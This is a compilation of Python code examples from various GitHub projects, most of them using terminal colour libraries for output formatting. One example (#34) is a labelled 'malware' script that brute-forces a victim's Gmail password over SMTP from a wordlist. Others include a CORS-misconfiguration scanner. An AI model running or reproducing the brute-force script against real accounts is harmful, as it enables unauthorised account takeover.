コード例 #1
0
ファイル: panela_colors.py プロジェクト: crazyguitar/cheat.sh
    def __str__(self):
        answer = ""
        skip_next = False
        for i, line in enumerate(self.field):
            for j, c in enumerate(line):
                fg_ansi = ""
                bg_ansi = ""
                stop = ""

                if self.field[i][j].foreground:
                    fg_ansi = '\033[38;2;%s;%s;%sm' % rgb_from_str(self.field[i][j].foreground)
                    stop = colored.attr("reset")

                if self.field[i][j].background:
                    bg_ansi = '\033[48;2;%s;%s;%sm' % rgb_from_str(self.field[i][j].background)
                    stop = colored.attr("reset")

                char = c.char or " "
                if not skip_next:
                    answer += fg_ansi + bg_ansi + char.encode('utf-8') + stop
                skip_next = wcswidth(char) == 2

            # answer += "...\n"
            answer += "\n"
        return answer
コード例 #2
0
ファイル: TermOutput.py プロジェクト: tmearnest/sbd
    def setup(self, *,level='info', term=None):
        l = level.lower()
        if l == 'debug':
            self.logLevel = 4
        elif l == 'info':
            self.logLevel = 3
        elif l == 'warning':
            self.logLevel = 2
        elif l == 'error':
            self.logLevel = 1
        elif l == 'critical':
            self.logLevel = 0
        else:
            raise RuntimeError("Invalid log level")
        if term is not None:
            self.isTermE = term
            self.isTermO = term
        else:
            self.isTermE = sys.stderr.isatty()
            self.isTermO = sys.stdout.isatty()

        if self.isTermE:
            self.icos = [stylize("*", fg("white") + bg("red") + attr('bold')),
                         stylize("*", fg("red") + attr('bold')),
                         stylize("*", fg("yellow") + attr('bold')),
                         stylize("*", fg("cyan")),
                         stylize("*", fg("white") + attr('dim'))]
        else:
            self.icos = ["CRIT", "ERR ", "WARN", "INFO", "DBUG"]
コード例 #3
0
ファイル: color_fasta.py プロジェクト: gaoce/ngs-tools
def main():
    args = parse_args()

    color_A = '#d70000'
    color_T = '#ffaf5f'
    color_G = '#00ffff'
    color_C = '#0087af'

    def change_color(color):
        def repl(m):
            """Replace characters with blocks of the same length
            """
            return fg(color) + u'\u258D'*len(m.group(0)) + attr(0)
        return repl

    print(u'Legend: {}\u2588A{}  {}\u2588T{}  '
          u'{}\u2588G{}  {}\u2588C{}'.format(fg(color_A), attr(0),
                                             fg(color_T), attr(0),
                                             fg(color_G), attr(0),
                                             fg(color_C), attr(0)))

    with open(args.fasta) as fi:
        for line in fi:
            line = line.rstrip()
            if line.startswith('>'):
                print(line)
            else:
                line.upper()
                line = re.sub('A+', change_color(color_A), line)
                line = re.sub('T+', change_color(color_T), line)
                line = re.sub('G+', change_color(color_G), line)
                line = re.sub('C+', change_color(color_C), line)

                print(line)
コード例 #4
0
ファイル: console.py プロジェクト: mike820324/microProxy
 def __unicode__(self):
     if not (self.fg_color or self.bg_color or self.attrs):
         return self.text.decode("utf8")
     _str = fg(self.fg_color).decode("utf8") if self.fg_color else u""
     _str += bg(self.bg_color).decode("utf8") if self.bg_color else u""
     _str += u"".join(map(lambda a: attr(a), self.attrs))
     _str += self.text.decode("utf8")
     _str += attr("reset").decode("utf8")
     return _str
コード例 #5
0
ファイル: vTodoCLI.py プロジェクト: vargash1/vTodoCLI
 def welcome_header(self):
     color = fg(25)
     sfx = attr(1)
     res = attr(0)
     print """{} {}
            ______          __         ________    ____
      _   _/_  __/___  ____/ /___     / ____/ /   /  _/
     | | / // / / __ \/ __  / __ \   / /   / /    / /
     | |/ // / / /_/ / /_/ / /_/ /  / /___/ /____/ /
     |___//_/  \____/\__,_/\____/   \____/_____/___/
     {}""".format(color,sfx,res)
     sys.stdout.flush()
コード例 #6
0
def main():
    cmd.extend(argv[1:])

    gbl_raw = (subprocess.run(cmd, stdout=subprocess.PIPE).stdout
               .decode().split('\n'))
    code = '\n'.join(lines_starting_with(gbl_raw, '\t'))
    authors_by_line = lines_starting_with(gbl_raw, 'author ')
    authors_unique = sorted(list(set(authors_by_line)))

    formatter = Terminal256Formatter(style=base16_tomorrow_dark)
    highlighted_raw = highlight(code, guess_lexer(code), formatter)
    highlighted = highlighted_raw.split('\n')

    color_codes = []
    for group in color_groups:
        for fg_color, bg_color in group:
            color_code = fg(fg_color)
            if bg_color:
                color_code += bg(bg_color)
            color_codes.append(color_code)

    author_color_codes = {author: color_codes.pop(0)
                          for author in authors_unique}

    pretty_blame = []
    for i in range(min(len(authors_by_line), len(highlighted))):
        author = authors_by_line[i]
        pretty_blame.append((
            author_color_codes[author] + author,
            fg('dark_gray') + str(i),
            attr('reset') + highlighted[i]
        ))

    print(tabulate(pretty_blame, tablefmt='plain'))
コード例 #7
0
ファイル: inf_sequence.py プロジェクト: Bakuutin/inf_sequence
def main():
    logging.basicConfig(level=logging.INFO)

    if len(sys.argv) < 2:
        sequence = input('Enter a sequence: ')
    else:
        sequence = sys.argv[1]

    if not sequence.isdecimal():
        print(f'"{sequence}" is not decimal!', file=sys.stderr)
        sys.exit(1)

    from colored import fg, attr
    split = get_best_split(sequence)
    painted = fg("yellow")
    reset = attr('reset')
    string_split = " ".join(map(str, range(split.start, split.end)))
    right_shift = (
        (len(split) - split.shift - len(sequence)) or -len(string_split)
    )
    before = f'{split.start - 1} ' if split.start != 1 else ''
    after = split.end
    colored_string_split = (
        f'{before}'
        f'{string_split[:split.shift]}{painted}'
        f'{string_split[split.shift:-right_shift]}{reset}'
        f'{string_split[-right_shift:]} '
        f'{after}'
    )
    print(colored_string_split)
コード例 #8
0
def main():
	"""Opens the files deliverd to this script and prints all the links, using nice colors."""
	#
	# Get the files given as command line arguments
	commandLineFiles = getFilesFromArguments()
	#
	# Go over each file
	for file in commandLineFiles:
		# 'Open' the file and print its filename 
		with open(file, 'r') as f:
			links = allLinksInFile(f)
			# Prints either "(contains no links)" or "contains n links:" where n > 0
			nolinkstext = len(links) > 0 and " contains %d links:" % (len(links)) or " (contains no links)"
			print "%s%s:%s%s" % (attr('bold'), file, attr(0), nolinkstext)
			for link in links:
				print "\t%s" % (highlightMdFilesAndGitHubLinks(link))
コード例 #9
0
def startup():
    files = glob.glob("img/*.jpg")

    print
    print ('Welcome to: %sO U T L I N E R %s' % (fg(13), attr(0)))
    print
    print "A simple image processor that outlines sections of photos based on their R, G, and B values."
    print
    print "To begin, please make sure this python file is running from a directory containing a folder labled img, which should contain all of the images that you would like to edit."
    print "To check which directory you are in/see what files and folders exist in this directory, please enter \'yes\' or \'y\'. If you would like to skip this step, please enter \'no\' or \'n\'."
    print
    checkContinue = raw_input(("%sWould you like to check which directory you are in? : %s") % (fg(13), attr(0)))
    print

    if checkContinue in ["yes", "y", "Yes"]:
        dirPath = os.path.dirname(os.path.realpath(__file__))
        print "you are currently in " + dirPath
        print "these are the files/folders it countains :"
        print os.listdir(dirPath)
        if os.path.exists(dirPath + "/img"):
            print
            print ("%sCool%s, it looks like you have an image folder in this directory! Lets keep going:" % (fg(10), attr(0)))
            return color_val(files)
        else:
            print ("%sHmmm%s, it doesn't seem like you have and img folder in this directory, try adding one before running the program again" % (fg(1), attr(0)))
            return (False,)

    else:
        dirPath = os.path.dirname(os.path.realpath(__file__))
        if os.path.exists(dirPath + "/img"):
            print ("%sCool%s, it looks like you have an image folder in this directory! Lets keep going:" % (fg(10), attr(0)))
            return color_val(files)
        else:
            print ("%sHmmm%s, it doesn't seem like you have and img folder in this directory, try adding one before running the program again" % (fg(1), attr(0)))
            return (False,)
コード例 #10
0
ファイル: mdterm.py プロジェクト: victor-torres/mdterm
    def handle_endtag(self, tag):
        """Encountered an end tag"""
        self.term += attr("reset")

        if tag in ("ul", "ol"):
            self.list_level_map[self.list_level][0] = 0
            self.list_level -= 1
コード例 #11
0
ファイル: mdterm.py プロジェクト: victor-torres/mdterm
    def handle_starttag(self, tag, attrs):
        """Encountered a start tag"""
        # self.term += '<%s>' % tag
        if tag in ("h%d" % level for level in range(1, 7)):
            # Header [1...6]
            level = int(tag[1]) - 1
            self.term += fg(self.theme[level])
            self.term += " " * level

        if tag == "hr":
            # Ruler
            self.term += "\r%s" % ("-" * self.terminal.columns)

        if tag in ("ul", "ol") and self.list_level < 6:
            self.list_level += 1
            self.list_level_map[self.list_level][1] = tag

        if tag == "li":
            self.term += fg(self.theme[self.list_level])
            self.term += " " * self.list_level

            if self.list_level_map[self.list_level][1] == "ol":
                self.list_level_map[self.list_level][0] += 1
                self.term += "%d. " % self.list_level_map[self.list_level][0]
            else:
                self.term += "- "

            self.term += attr("reset")
コード例 #12
0
ファイル: main.py プロジェクト: Red-C0der/Project-Azurite
 def CSPrint(self, state, message):
     if state == "":
         print("[....] " + message)
     if state == "ok":
         print("[ " + termcolor.colored("OK", "green", attrs=["bold"]) + " ] " + termcolor.colored(message, "green", attrs=["bold"]))
     if state == "error":
         print("[" + termcolor.colored("ERROR", "red", attrs=["blink", "bold"]) + "] " + termcolor.colored(message, "red", attrs=["bold"]))
     if state == "warning":
         # 208
         print("[" + fg(241) + attr("bold") + attr("blink") + "WARNING" + style.RESET + "] " + fg(241) + attr("bold") + message + style.RESET)
     if state == "info":
         print("[" + termcolor.colored("INFO", "cyan", attrs=["bold"]) + "] " + termcolor.colored(message, "cyan", attrs=["bold"]))
     if state == "debug":
         print("[" + termcolor.colored("DEBUG", "magenta", attrs=["bold"]) + "] " + termcolor.colored(message, "magenta", attrs=["bold"]))
     if state == "sys":
         print("[" + termcolor.colored("SYSTEM", "blue", attrs=["bold"]) + "] " + termcolor.colored(message, "blue", attrs=["bold"]))
コード例 #13
0
	def print_(self, pixels):
		y = ""
		for pixel in pixels:
			x = pixel.get_colors()
			y += ('%s %s' % (bg(x256.from_rgb(x[0], x[1], x[2])), attr(0)))
		sys.stdout.write(y)
		sys.stdout.flush()
		self.restart_line()
コード例 #14
0
ファイル: terminal.py プロジェクト: timvieira/arsenal
def color01(x, fmt='%.10f', min_color=235, max_color=255):
    "Colorize numbers in [0,1] based on value; darker means smaller value."
    import colored
    if not (0 <= x <= 1 + 1e-10):
        return colors.red % fmt % x
    width = max_color - min_color
    color = min_color + int(round(x*width))
    return '%s%s%s' % (colored.fg(color), (fmt % x), colored.attr('reset'))
コード例 #15
0
 def print_task_line(self, t):
     """Print a Task readout for the user."""
     box_color = bg(20)
     repeat_color = bg(28)
     reset = attr('reset')
     if t.repeat_mode == '':
         print("    {0}[{1}]{2} {3}".format(box_color, t.task_id, reset, t.body)) 
     else:
         print("    {0}[{1}]{2} {3}[Repeat]{4} {5}".format(box_color, t.task_id, reset, repeat_color, reset, t.body)) 
コード例 #16
0
ファイル: col.py プロジェクト: hussius/ascii-autoencoder
def print_row(a):
    for x in a:
        foo = np.around(math.floor(x * 999))
        index = int(foo / 100)
        color = colored.bg(lookup[10-index])
        res   = colored.attr('reset')
        sys.stdout.write (color + str(int(foo)) + res)
        #sys.stdout.write(" ")
    sys.stdout.write("\n")
コード例 #17
0
ファイル: colors.py プロジェクト: javelir/arsenal
def color01(x, fmt='%.10f'):
    "Colorize numbers in [0,1] based on value; darker means smaller value."
    if not (0 <= x <= 1 + 1e-10):
        return red % fmt % x
    a, b = 238, 255   # 232, 255
    w = b - a
    offset = x*w
    offset = int(round(offset))
    return colored.fg(a + offset) + (fmt % x) + colored.attr('reset') #color.fg256(a + offset, fmt % x)
コード例 #18
0
def highlightMdFilesAndGitHubLinks(linktarget):
	"""Highlight an url-string with colors for command line printing.
	
	Arguments:
		linktarget: a (partial) url that is the target a the link.
	
	Returns:
		The highlighed string that can be printed with colors on the command line.
		
	Description:
		If the url is a local hosted markdown file, it will be highlighted in red
		If the url is a github url, it will be highlighted in aqua
		If the url is anything else, it will just be returned as is.
	"""
	if linktarget.endswith(".md"):
		return "%s%s%s%s" % (fg(1), attr('bold'), linktarget, attr(0))
	if linktarget.startswith("https://github.com/"):
		return "%s%s%s%s" % (fg(30), attr('bold'), linktarget, attr(0))
	return linktarget
コード例 #19
0
ファイル: col.py プロジェクト: hussius/ascii-autoencoder
def print_row2(a, a2):
    for i in range(0,len(a)):
        x = a[i]
        color = colored.bg(lookup[9-x])
        if a2 is not None:
            color += colored.fg(lookup[9-a2[i]])
        res   = colored.attr('reset')
        sys.stdout.write (color + str(x) + res)
        #sys.stdout.write(" ")
    sys.stdout.write("\n")
コード例 #20
0
ファイル: h_solver.py プロジェクト: JacobDowns/SheetModel
  def step(self, dt):
    # Use the current solution for h as the initial condition for the ODE solver
    # for this step. Normally, we could just use the solution from the previous
    # time step, but this is important if we want to reset the model (say manually
    # assign a different h)
    self.ode_solver.y[:] = self.model.h.vector().array()
    
    if self.MPI_rank == 0:
      print ('%sSolving for h... %s' % (fg(10), attr(0)))
      
    # Step h 
    self.ode_solver.integrate(self.model.t + dt)

    # Retrieve values from the ODE solver    
    self.model.h.vector().set_local(self.ode_solver.y)
    self.model.h.vector().apply("insert")
    
    if self.MPI_rank == 0:
      print ('%sDone. %s' % (fg(10), attr(0)))
コード例 #21
0
 def handleWarnInfo(self, line):
     colors = {
         "ERROR:" : 9,
         "WARN:" : 11,
         "INFO:" : 2,
     }
     if self.disable_color:
         sys.stderr.write(line)
     else:
         sys.stderr.write("%s%s%s"%(fg(colors[line.split()[0]]), line, attr(0)))
     sys.stderr.flush()
コード例 #22
0
ファイル: cheat_wrapper.py プロジェクト: LadonCoetus/cheat.sh
    def _colorize_line(line):
        if line.startswith('T'):
            line = colored.fg("grey_62") + line + colored.attr('reset')
            line = re.sub(r"\{(.*?)\}", colored.fg("orange_3") + r"\1"+colored.fg('grey_35'), line)
            return line

        line = re.sub(r"\[(F.*?)\]",
                      colored.bg("black") + colored.fg("cyan") + r"[\1]"+colored.attr('reset'),
                      line)
        line = re.sub(r"\[(g.*?)\]",
                      colored.bg("dark_gray") \
                      + colored.fg("grey_0") \
                      + r"[\1]"+colored.attr('reset'),
                      line)
        line = re.sub(r"\{(.*?)\}",
                      colored.fg("orange_3") + r"\1"+colored.attr('reset'),
                      line)
        line = re.sub(r"<(.*?)>",
                      colored.fg("cyan") + r"\1"+colored.attr('reset'),
                      line)
        return line
コード例 #23
0
ファイル: T-master.py プロジェクト: pielco11/T2B-framework
	def open_socket(self):
		try:
			self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			self.server.bind((self.host,self.port))
			self.server.listen(5)
			print "%s---------------------------%s" % (fg(46), attr(0))
			print "%s%s[server-status] ok.%s" % (fg(46), attr(1), attr(0))
			print "%s---------------------------%s" % (fg(46), attr(0))
			print ("%s[server-key] " + key.encode("hex")+"%s") % (fg(46), attr(0))
			print ("%s[server-infos] " + str(self.host) + ":" + str(self.port) + "%s") % (fg(46), attr(0))
			print ("%s[server-infos] backlog: " + str(self.backlog) + "%s") % (fg(46), attr(0))
			print "%s---------------------------%s" % (fg(46), attr(0))
			print "%s...waiting...%s" % (fg(46), attr(0))
		except socket.error, (value,message):
			if self.server:
				self.server.close()
				print ("%sCould not open socket: " + message + "!!%s") % (fg(196), attr(0))
				sys.exit(1)
コード例 #24
0
ファイル: TermOutput.py プロジェクト: tmearnest/sbd
def printRule(label='', *, ch='-', width=None, color=None):
    if not color:
        color=fg("white") +  attr('dim')
    if not width:
        width = max(1, shutil.get_terminal_size()[0]-4)
    if label:
        w = width - len(label) - 2
        lwidth = w//2 
        rwidth = w-lwidth
        lwidth, rwidth = max(0,lwidth), max(0,rwidth)
        print(stylize(ch*lwidth + " " + label + " " + ch*rwidth, color))
    else:
        print(stylize(ch*width, color))
コード例 #25
0
ファイル: helper.py プロジェクト: posbit/clap
 def _gencommandlines(self, command, level=0, name='', deep=True):
     """Generate help screen lines for current command.
     """
     lines = []
     self._lines.extend(self._gencommandhelp(command, name, level=level))
     self._lines.extend(_getoptionlines(command, indent=self._indent['string'], level=level+1, colorize=self._colorize))
     if command.commands():
         ln = 'commands'
         if colored is not None and self._colorize: ln = colored.fg('red') + ln + colored.attr('reset')
         ln += ':'
         self._lines.append( ('str', ((self._indent['string']*(level+1)) + ln)) )
     self._lines.extend(self._gensubcommandslines(command, name, level, deep))
     return lines
コード例 #26
0
ファイル: inputoutput.py プロジェクト: pf4d/cslvr
def get_text(text, color=None, atrb=0, cls=None):
	"""
	Returns text ``text`` from calling class ``cls`` for printing at a later time.

	:param text: the text to print
	:param color: the color of the text to print
	:param atrb: attributes to send use by ``colored`` package
	:param cls: the calling class
	:type text: string
	:type color: string
	:type atrb: int
	:type cls: object
	"""
	if cls is not None:
		color = cls.color()
	if color is None:
		text = text
	else:
		if atrb != 0:
			text = ('%s%s' + text + '%s') % (fg(color), attr(atrb), attr(0))
		else:
			text = ('%s' + text + '%s') % (fg(color), attr(0))
	return text
コード例 #27
0
ファイル: frontend.py プロジェクト: mplewis/digiglass
def get_user_category(categories):
    """Ask the user to pick a part category from a list."""
    lookup = dict(zip(LETTERS, categories))
    longest = 0
    for category in lookup.values():
        digits = len(str(category.qty))
        if digits > longest:
            longest = digits
    for letter, category in sorted(lookup.items(), key=lambda t: t[0]):
        print('{}{}{}. ({}{}{}) {}{}{} - {}{}{}'.format(
              fg('red'), letter, attr('reset'),
              fg('blue'), str(category.qty).rjust(longest), attr('reset'),
              fg('green'), category.parent, attr('reset'),
              fg('yellow'), category.name, attr('reset')))
    found = None
    while not found:
        try:
            key = input('Select a category: ')
            found = lookup[key.strip().lower()]
        except KeyError:
            print('Invalid selection.')
        except KeyboardInterrupt:
            sys.exit(0)
    return found
コード例 #28
0
def print_all_days(database):
    """Prints out a list of earnings announcements for the user's stocks."""
    print("\nReporting dates for your tracked stocks:")
    color = fg(11)
    reset = attr('reset')
    for date in sorted(database.items()):
        d = date[0]
        header = datetime.strptime(date[0], "%Y%m%d").strftime("%A, %Y-%m-%d")
        header = "{0}{1}{2}".format(color, header, reset)
        print("\n{0}:".format(header))
        if len(database[d]) == 0:
            print("  (none)")
        for stock in database[d]:
            print("  {:10s} [{:5s}]".format(stock, database[d][stock]))
    print("\nDone!")
コード例 #29
0
def remove_label_from_issue(args):
  results, status = GithubAPIGateway(*Helper.owner_and_repo()).remove_label_from_issue(args.issue_number, args.label, args.all_labels)

  if status in [200, 204]:
    print "Issue {0} labels:".format(args.issue_number)
    if results:
      for label in results:
        color = rgb2short(label['color'])[1]
        label_color = fg('black') + bg('#' + color)
        reset_color = attr('reset')
        print "[-l {0}\"{1}\"{2}]".format(label_color, label['name'], reset_color)
    else:
      print "No labels found."
  else:
    print results['message']
コード例 #30
0
def list_labels(args):
  results, status = GithubAPIGateway(*Helper.owner_and_repo()).get_labels(issue_number=args.issue_number)

  if status == 200:
    if args.issue_number:
      print "Issue {0} labels:".format(args.issue_number)

    if results:
      for label in results:
        color = rgb2short(label['color'])[1]
        label_color = fg('black') + bg('#' + color)
        reset_color = attr('reset')
        print "[-l {0}\"{1}\"{2}]".format(label_color, label['name'], reset_color)
    else:
      print "No labels found."
  else:
    print results['message']
コード例 #31
0
            for i in s_results:
                if urldecode:
                    print(urllib.parse.unquote(s_results[i]['url']))
                else:
                    print(s_results[i]['url'])
    else:
        for i in range(page, end_page):
            page_history[i] = 0


for term in t_terms:
    page_history = {}

    pool = Pool(5)
    pool.map(partial(doMultiSearch, term, numbers_only, urldecode),
             range(start_page, end_page))
    pool.close()
    pool.join()

    if numbers_only:
        n_results = sum(page_history.values())
        if n_results:
            color = 'white'
        else:
            color = 'dark_gray'

        full_url = 'https://www.google.com/search?q=' + urllib.parse.quote(
            term)
        sys.stdout.write('%s%s (%d)%s\n' %
                         (fg(color), full_url, n_results, attr(0)))
コード例 #32
0
    "dim",
    "underlined",
    "blink",
    "reverse",
    "hidden",
    "reset",
    "res_bold",
    "res_dim",
    "res_underlined",
    "res_blink",
    "res_reverse",
    "res_hidden",
]
_fg_colors = {f"fg('{color.lower()}')": fg(color.lower()) for color in names}
_bg_colors = {f"bg('{color.lower()}')": bg(color.lower()) for color in names}
_attrs = {f"attr('{name}')": attr(name) for name in _attrs}
_colors = {**_fg_colors, **_bg_colors, **_attrs}


@contextmanager
def _nvml():
    """Enter a context manager that will init and shutdown nvml."""
    # Copyright (c) 2018 Bohumír Zámečník, Rossum Ltd., MIT license
    # from https://github.com/rossumai/nvgpu/blob/a66dda5ae816a6a8936645fe0520cb4dc6354137/nvgpu/nvml.py#L5
    # Modifications copyright 2019, Nathan Hunt, MIT license

    nv.nvmlInit()
    yield
    nv.nvmlShutdown()

コード例 #33
0
def loading_stop(
    z
):  #LOADING SCREEN WHEN THE LOADING STOPPED TO DOWNLOAD THE FILES FROM THE SERVER
    x = fg('yellow') + '■' + attr('reset')
    print(z)
    print(''.rjust(15), x * 35)
コード例 #34
0
##################################################
#                                                #
#         Malware Coder: Elliot Alderson         #
#                                                #
#   Github: https://github.com/ElliotAlderson51  #
#                                                #
##################################################

import smtplib
import os
from validate_email import validate_email
from colored import fg, attr

green = fg("green")
red = fg("red")
reset = attr("reset")

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()

victim_email = input("[*] Enter Email: ")

is_valid = validate_email(victim_email, verify=True)

if is_valid == True:
    file_path = input("[*] Enter Passwords File: ")
    if os.path.exists(file_path):
        with open(file_path, "r") as f:
            for password in f:
                try:
                    server.login(victim_email, password)
コード例 #35
0
                stylize(
                    "{0}: Could not ping Edge Connect, please check again before adding"
                    .format(ec_ip),
                    red_text,
                ))
            return False

    except ValueError:
        print(
            stylize("{0} is not a valid IP address to be added".format(ec_ip),
                    red_text))
        return False


# Console text highlight color parameters
red_text = colored.fg("red") + colored.attr("bold")
green_text = colored.fg("green") + colored.attr("bold")
blue_text = colored.fg("steel_blue_1b") + colored.attr("bold")
orange_text = colored.fg("dark_orange") + colored.attr("bold")

# Load environment variables
load_dotenv()

# Set Orchestrator and Account Details from .env
orchestrator = str(os.getenv("ORCH_URL"))
account = os.getenv("ACCOUNT")
accountKey = os.getenv("ACCOUNT_KEY")

ec_ip_list = []

method = input(
コード例 #36
0
        if ':' in header:
            tmp = header.split(':')
            t_custom_headers[tmp[0].strip()] = tmp[1].strip()
t_base_headers.update(t_custom_headers)

t_hosts = []
if args.hosts:
    if os.path.isfile(args.hosts):
        fp = open(args.hosts, 'r')
        t_hosts = fp.read().strip().split("\n")
        fp.close()
    else:
        t_hosts.append(args.hosts)
n_hosts = len(t_hosts)
sys.stdout.write('%s[+] %d hosts found: %s%s\n' %
                 (fg('green'), n_hosts, args.hosts, attr(0)))

t_urls = []
if args.urls:
    if os.path.isfile(args.urls):
        fp = open(args.urls, 'r')
        t_urls = fp.read().strip().split("\n")
        fp.close()
    else:
        t_urls.append(args.urls)
n_urls = len(t_urls)
sys.stdout.write('%s[+] %d urls found: %s%s\n' %
                 (fg('green'), n_urls, args.urls, attr(0)))

if n_hosts == 0 and n_urls == 0:
    parser.error('hosts/urls list missing')
コード例 #37
0
import colored
import time
from time import sleep
import progress
from progress.bar import Bar
from colored import fg, attr

import os

blink = colored.attr("blink")

blue = fg("light_cyan")
green = fg("light_green")
magenta = fg("magenta")
yellow = fg("light_yellow")
reset = colored.attr("reset")


def logo():
    print(
        blue +
        " ____     ___   __        __  _____   ____             ___    _____   _____ "
        + reset)
    print(
        green +
        "|  _ \   / _ \  \ \      / / | ____| |  _ \           / _ \  |  ___| |  ___|"
        + reset)
    print(
        blue +
        "| |_) | | | | |  \ \ /\ / /  |  _|   | |_) |  _____  | | | | | |_    | |_   "
        + reset)
コード例 #38
0
ファイル: hsai.py プロジェクト: SalahMJ/fun
#CREATED BY SMJ
import colored

from colored import fg, attr

col1 = fg('red')
col2 = fg('green')
col3 = fg('blue')
reset = attr('reset')
x = ('HAMZAH', 'hamzah', 'Hamzah', 'Sarim', 'SARIM', 'sarim')
y = ('SALAH', 'Salah', 'salah')

n = str(input('ENTER YOUR NAME:'))

if n in x:
    print(col1, 'BLOODY MORONNNN', reset)
elif n in y:
    print(col2, 'SHAREEF', reset)
else:
    print(col3, 'I DON\'T KNOW HIM', reset)
コード例 #39
0
ファイル: cors.py プロジェクト: stefanpejcic/pentest
def testPayload(url, payload):
    t_urlparse = urlparse(url)
    u = t_urlparse.scheme + '_' + t_urlparse.netloc

    if not u in t_exceptions:
        t_exceptions[u] = 0
    if t_exceptions[u] >= MAX_EXCEPTION:
        if _verbose >= 3:
            print("skip too many exceptions %s" % t_urlparse.netloc)
        return

    if not u in t_vulnerable:
        t_vulnerable[u] = 0
    if t_vulnerable[u] >= MAX_VULNERABLE:
        if _verbose >= 3:
            print("skip already vulnerable %s" % t_urlparse.netloc)
        return

    headers = {"Origin": payload, "Referer": payload}
    headers.update(t_custom_headers)

    try:
        r = requests.head(url, headers=headers, timeout=5, verify=False)
    except Exception as e:
        t_exceptions[u] = t_exceptions[u] + 1
        if _verbose >= 3:
            sys.stdout.write("%s[-] error occurred: %s%s\n" %
                             (fg('red'), e, attr(0)))
        return

    if 'Content-Type' in r.headers:
        content_type = r.headers['Content-Type']
    else:
        content_type = '-'

    vuln = '-'
    if 'Access-Control-Allow-Credentials' in r.headers and r.headers[
            'Access-Control-Allow-Credentials'] == 'true':
        if 'Access-Control-Allow-Origin' in r.headers:
            if r.headers[
                    'Access-Control-Allow-Origin'] == 'null' or 'evil' in r.headers[
                        'Access-Control-Allow-Origin']:
                vuln = 'VULNERABLE'

    if vuln == 'VULNERABLE':
        t_vulnerable[u] = t_vulnerable[u] + 1

    output = '%sC=%d\t\tT=%s\t\tV=%s\t\tP=%s\n' % (url.ljust(
        t_multiproc['u_max_length']), r.status_code, content_type, vuln,
                                                   payload)

    fp = open(t_multiproc['f_output'], 'a+')
    fp.write(output)
    fp.close()

    if _verbose >= 2 or (_verbose >= 1 and vuln == 'VULNERABLE'):
        if vuln == 'VULNERABLE':
            sys.stdout.write('%s%s%s' % (fg('light_red'), output, attr(0)))
        else:
            sys.stdout.write(output)
    if _verbose >= 3:
        sys.stdout.write('%s%s%s\n' % (fg('dark_gray'), headers, attr(0)))
コード例 #40
0
def fitnessTest():
    population = [
        f.split(".")[0] for f in os.listdir("./progression/population")
    ]
    malformed = []
    fitnessTracker = {}
    popSize = len(population)
    champion = ""
    championScore = 0
    championLevel = 0
    for index, name in enumerate(population):
        print(
            "\n-------------------------------------------------------------")
        print("Evaluating %s in progress[%s/%s]..." %
              (name, index + 1, popSize))
        traits = ec.get_traits(name)
        result = traits["Result"]
        if result["latest_update"] != date.today().strftime("%Y-%m-%d"):
            try:
                fitness = mr.computeAccuracy(name)
                level = result["level"] + 1
            except Exception as e:
                print("%s%sError:" % (fg("red"), attr("bold")), str(e),
                      "%s" % (attr("reset")))
                #traceback.print_exc()
                malformed.append(name)
                continue
        else:
            print("models fitness score recorded...")
            fitness = result["fitness"]
            level = result["level"]
        if math.isnan(fitness):
            malformed.append(name)
        else:
            fitnessTracker[name] = (fitness, level)
            if level > championLevel:
                champion = name
                championLevel = level
                championScore = fitness
            elif level == championLevel:
                if fitness >= championScore:
                    champion = name
                    championLevel = level
                    championScore = fitness

    print("====================[GRADEBOOK]====================")
    rankedPairs = sorted(fitnessTracker.items(),
                         key=lambda x: x[1][0],
                         reverse=True)
    for name, (fitness, level) in rankedPairs:
        print("%s{:>24}: %sfitness:{:5.6f}   %slevel:{:>2}%s".format(name,fitness,level)\
              %(attr("bold"), fg("green"), fg("cyan"), attr("reset")))
    print("======================[WEAK]=======================")
    eliminated = [pair[0] for pair in rankedPairs[-10:]]
    ec.eliminate(eliminated)
    for name in eliminated:
        fitnessTracker.pop(name)
    print("====================[MALFORMED]====================")
    ec.eliminate(malformed)
    print("=================[NEW GENERATION]==================")
    bodyCount = len(eliminated) + len(malformed)
    survivers = list(fitnessTracker.keys())
    replenish(survivers, bodyCount)
    return champion
コード例 #41
0
    resume_file = args.resume
else:
    resume_file = False

if not resume_file:
    t_hosts = []
    if args.hosts:
        if os.path.isfile(args.hosts):
            fp = open(args.hosts, 'r')
            t_hosts = fp.read().splitlines()
            fp.close()
        else:
            t_hosts.append(args.hosts)
    n_hosts = len(t_hosts)
    sys.stdout.write('%s[+] %d hosts found: %s%s\n' %
                     (fg('green'), n_hosts, args.urls, attr(0)))

if not resume_file:
    t_urls = []
    if args.urls:
        if os.path.isfile(args.urls):
            fp = open(args.urls, 'r')
            t_urls = fp.read().splitlines()
            fp.close()
        else:
            t_urls.append(args.urls)
    n_urls = len(t_urls)
    sys.stdout.write('%s[+] %d urls found: %s%s\n' %
                     (fg('green'), n_urls, args.urls, attr(0)))

if not resume_file and n_hosts == 0 and n_urls == 0:
コード例 #42
0
ファイル: gf_tests.py プロジェクト: gloflow/gloflow
def run(p_app_name_str,
        p_test_name_str,
        p_app_meta_map,
        p_aws_s3_creds_map,
        p_exit_on_fail_bool=False,
        p_dynamic_libs_dir_path_str=os.path.abspath("%s/../../rust/build" %
                                                    (modd_str))):
    assert isinstance(p_test_name_str, str)
    assert isinstance(p_app_meta_map, dict)
    assert isinstance(p_aws_s3_creds_map, dict)

    print("")
    print(" -- test %s%s%s package" % (fg("green"), p_app_name_str, attr(0)))

    if "test_data_to_serve_dir_str" in p_app_meta_map.keys():
        use_test_server_bool = True
    else:
        use_test_server_bool = False

    # GO_PACKAGE_DIR
    go_package_dir_path_str = p_app_meta_map["go_path_str"]
    assert os.path.isdir(go_package_dir_path_str)
    print("go_package_dir_path_str - %s" % (go_package_dir_path_str))

    #-------------
    # TEST_HTTP_SERVER - used to server assets/images that various Go functions
    #                    that are tested that do fetching of remote resources.

    if use_test_server_bool:
        test_data_dir_str = p_app_meta_map["test_data_to_serve_dir_str"]
        assert os.path.isdir(test_data_dir_str)

        print("")
        print(
            "STARTING TEST DATA PYTHON HTTP SERVER ----------------------------"
        )

        # run the python simple server in the dir where the test data is located, so that its served over http
        c_lst = [
            "cd %s && python -m SimpleHTTPServer 8000" % (test_data_dir_str)
        ]
        print(" ".join(c_lst))

        # IMPORTANT!! - "cd" and py server are run by the shell, which is their parent process, so a session ID is attached
        #               so that its made a group leader. later when the os.killpg() termination signal is sent to that
        #               group leader (the shell), its child processes will get shutdown as well (py server).
